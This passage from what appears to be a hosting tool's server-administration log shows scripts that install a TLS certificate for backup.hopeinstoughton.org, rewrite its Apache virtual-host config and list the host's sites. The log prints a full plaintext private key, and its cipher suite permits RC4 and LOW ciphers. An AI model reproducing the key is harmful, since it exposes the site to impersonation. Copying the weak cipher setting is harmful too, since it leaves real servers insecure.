6fA61fak8zZuRqQ/D8qpxgAAAZxvVc3kAAAEAwBHMEUCIE387tSApejOvaurhF45
EOXLsGmi3evHjgio3Ktm4E8VAiEA4NhdGQMmzLAEJwKIyK4wtx3qkWzaH/rkNf6u
fiHmD3QwDQYJKoZIhvcNAQELBQADggEBADPBZ+S5IL+fbP/WNco04T3jjOiJMIzh
7rOZv6S33pJBhDwlxQR6WGggAJ1fUmy2WG2Gt/Gf4XvZEXclxgFwv44NPv77eGxU
qa3P2luYYXBNVxr3yU4dyBJPy4R4aaCK1rLhyx+Z6lFSZq5JHiBa1kPSoKkNrSOP
o8z7nGs9NB9dQblBZJiso8Wf7gkAVXQMvUO+4AvlrLBjTD4hP/RQPjf+195M8IcH
5QQJLf253mqjni1ub5d1YVy1xCmfQ0loxnp8rjjkCo+oaAQqsSPnFNkiobVeECUS
Zl4rYHmfEUdHW76giYhGKIEXMfXusWX2ryIH/EwPaoIN/k2AC5nUO3U=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC05JYSk89gzfUY
h2OUbuxdRh4Vcuw4xo3Uw/fWHemRguHsJkAqVBDFpW0LoDQULwIoabcSoB61vXb6
vL7pfBl0wOrtCYkk7Afn/LVX7bxDkKfoPLq3AQVR4/2RdSTIG0uxsOaWJbPk+4zw
JmSLliU59Z5eyisA8Tqla4JPOpe9gzlYhn967L5Ijk6+4dGcl8Za/wzsf0bfP1Uk
VQwb7sTN708qOTaj28g/vWYt0R0wo1ogCf1rTHAgFBiSffpJ6dZregmvu7TZA69A
yLiKqlAvMtTLE6f0eYp8JgDT2RTEwiQkbBjbkWRzYcyfoFR7++LIwKnZcvE9++08
XrUFstgFAgMBAAECggEAKM5oDEjLv0q2v5HLJPDg4SmwH6aNI0GnPRf4EJUu22Rr
EpqOXv4Xyn5G2xiIpwTzt6ohYlI8m0LiVC2/42vbUjsyw8Yi6fFU10BqqCs5DQTU
287XT/ErAg4sZWPHqFx/9tWxLq3SpxUX9hSzGcoFG84Mq9VvXgcM88QM4VKWaGmQ
Ch07qfZamBlFz+7LTR0if8kPV8nUDnS5TpH0qBfPQlgLFrBH1lVfXZOkzlZnW4a4
YLQccVV3DIs2uuILIrRUnthBZaHMPzZllhd6LF7h2GJvSoK6CY7i8q7QhaULyXz5
TpQtPP1rn5DwwXHf9RXgFmM3eDi6VU/zabkmuCSFAQKBgQDxd/HcgV1d15Ej4xZB
JQXaznCZ/7PXLAmOWGy6TVprBEBDRKovQuY5D8OUMhbKB51YIoLlSroYMTIx845h
8hwAMlgqck6AHD6RoDmGtnZSlpt95T1Kytpk0xyz5muVqkUXlPFln+VmEb6MVLQx
qhGd0F93Vy4cOpb9tT8nz21FywKBgQC/x2psjBaAVGKbLxv+QJEYfEl6HR7m98Sa
aRSXumpjTxk0F4JPTIFfwnyMr1ffCk2yn6qbW402GPSvGqDOkFUww/3ZvENWhVAd
aTLuKRpBWVklW40kbi1WZSCEid47zd6GQ+LyGsttz2lXPz2Q98VU08BDw+2D3qUP
xqDt4dofbwKBgQCU1mYSkPrH+TPRdwwko3l0YYMuqVpk6xQI1aBPRZbSGBC0ZgKw
lv/pdDoNgsJhTUhDJyKfyuviNZDHEWVWIjH4PQ/zOfoBJWe7w5Mx4g4U4hh+BWs+
SsNLGoW6rfDqk8V6v6f8CA8SVyWowh0/76BkMihmGyqk48hmIe4Hz+d++QKBgEr4
li4hBZrdYj7wR605aH999ut5/t6j9YO3mIlIItb30Q6AMjz1142r5izJTzyuNnmh
2XwqaiW/08ewTTTzT5pkxBQeeOSV8R/ORE6+Wrk5SJRGGgMn3ylrFy85Bluyu08Z
stqahvRCpReqbVMCyW3D6eGT8oIew8BLEhZsuGyZAoGBAKrj8G+j9Fhe9+DnNGlg
aV96xjvIsfBuG2Ge0zcLOzj5e/hYogm+I7BK/vWOCohvdK6JStSZwmgaEy6aLfVS
g4hiYc6bttHIRH6uTcsPTWBm6eF6o3Wq0tsadwIuJzD+H7jHYM47gUTzHARymzAP
/OWkPWaRS9P/0MuW6kxrNKhR
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-18 06:00:21: 

chmod 755 /tmp/pkp332751; /tmp/pkp332751; rm /tmp/pkp332751

2026-02-18 06:00:21: 


dir=/etc/ssl/certs


2026-02-18 06:00:21: 

PUT: /tmp/pkp869770

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-18 06:00:21: 

chmod 755 /tmp/pkp869770; /tmp/pkp869770; rm /tmp/pkp869770

2026-02-18 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 50

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-18 06:00:21: 

PUT: /tmp/pkp961063

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_backup_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf= 1'
fi


2026-02-18 06:00:21: 

chmod 755 /tmp/pkp961063; /tmp/pkp961063; rm /tmp/pkp961063

2026-02-18 06:00:21: 




2026-02-18 06:00:21: 

PUT: /tmp/pkp121938

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-18 06:00:21: 

chmod 755 /tmp/pkp121938; /tmp/pkp121938; rm /tmp/pkp121938

2026-02-18 06:00:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:00:21: Establishing a connection
2026-02-18 06:00:21: 

PUT: /tmp/pkp669461

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-18 06:00:21: 

chmod 755 /tmp/pkp669461; /tmp/pkp669461; rm /tmp/pkp669461

2026-02-18 06:00:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:00:21: 

PUT: /tmp/pkp910983

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:00:21: 

chmod 755 /tmp/pkp910983; /tmp/pkp910983; rm /tmp/pkp910983

2026-02-18 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf	1700

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-18 06:00:21: 

PUT: /tmp/pkp700361

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:00:21: 

chmod 755 /tmp/pkp700361; /tmp/pkp700361; rm /tmp/pkp700361

2026-02-18 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt	5361
93:db:4d:4a:53:bb:46:d4:80:51:b2:ee:3d:8a:1d:56

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBbamTChzotMPUeaZqm1EI83PMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE4MDUwMTUwWhcNMjYwNTE5MDUwMTQ5WjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALTklhKTz2DN9RiHY5Ru7F1GHhVy7DjGjdTD99Yd6ZGC4ewm
QCpUEMWlbQugNBQvAihptxKgHrW9dvq8vul8GXTA6u0JiSTsB+f8tVftvEOQp+g8
urcBBVHj/ZF1JMgbS7Gw5pYls+T7jPAmZIuWJTn1nl7KKwDxOqVrgk86l72DOViG
f3rsvkiOTr7h0ZyXxlr/DOx/Rt8/VSRVDBvuxM3vTyo5NqPbyD+9Zi3RHTCjWiAJ
/WtMcCAUGJJ9+knp1mt6Ca+7tNkDr0DIuIqqUC8y1MsTp/R5inwmANPZFMTCJCRs
GNuRZHNhzJ+gVHv74sjAqdly8T377TxetQWy2AUCAwEAAaOCAh8wggIbMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBRx04xV4aZSmndI+0bOPDMyWJlkozAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmJhY2t1cC5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODAuY3JsMIIBAwYKKwYBBAHWeQIEAgSB
9ASB8QDvAHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGcb1XN
nAAABAMARjBEAiAHG6GuOrSgiPED7XCOU0pBXL+aFQeWItwZ1ane44SkFAIgXVTy
cs1ewH+Up38vbGfYkR7ihsEAGsFzCz1kr5XXhSAAdgCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZxvVc3kAAAEAwBHMEUCIE387tSApejOvaurhF45
EOXLsGmi3evHjgio3Ktm4E8VAiEA4NhdGQMmzLAEJwKIyK4wtx3qkWzaH/rkNf6u
fiHmD3QwDQYJKoZIhvcNAQELBQADggEBADPBZ+S5IL+fbP/WNco04T3jjOiJMIzh
7rOZv6S33pJBhDwlxQR6WGggAJ1fUmy2WG2Gt/Gf4XvZEXclxgFwv44NPv77eGxU
qa3P2luYYXBNVxr3yU4dyBJPy4R4aaCK1rLhyx+Z6lFSZq5JHiBa1kPSoKkNrSOP
o8z7nGs9NB9dQblBZJiso8Wf7gkAVXQMvUO+4AvlrLBjTD4hP/RQPjf+195M8IcH
5QQJLf253mqjni1ub5d1YVy1xCmfQ0loxnp8rjjkCo+oaAQqsSPnFNkiobVeECUS
Zl4rYHmfEUdHW76giYhGKIEXMfXusWX2ryIH/EwPaoIN/k2AC5nUO3U=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC05JYSk89gzfUY
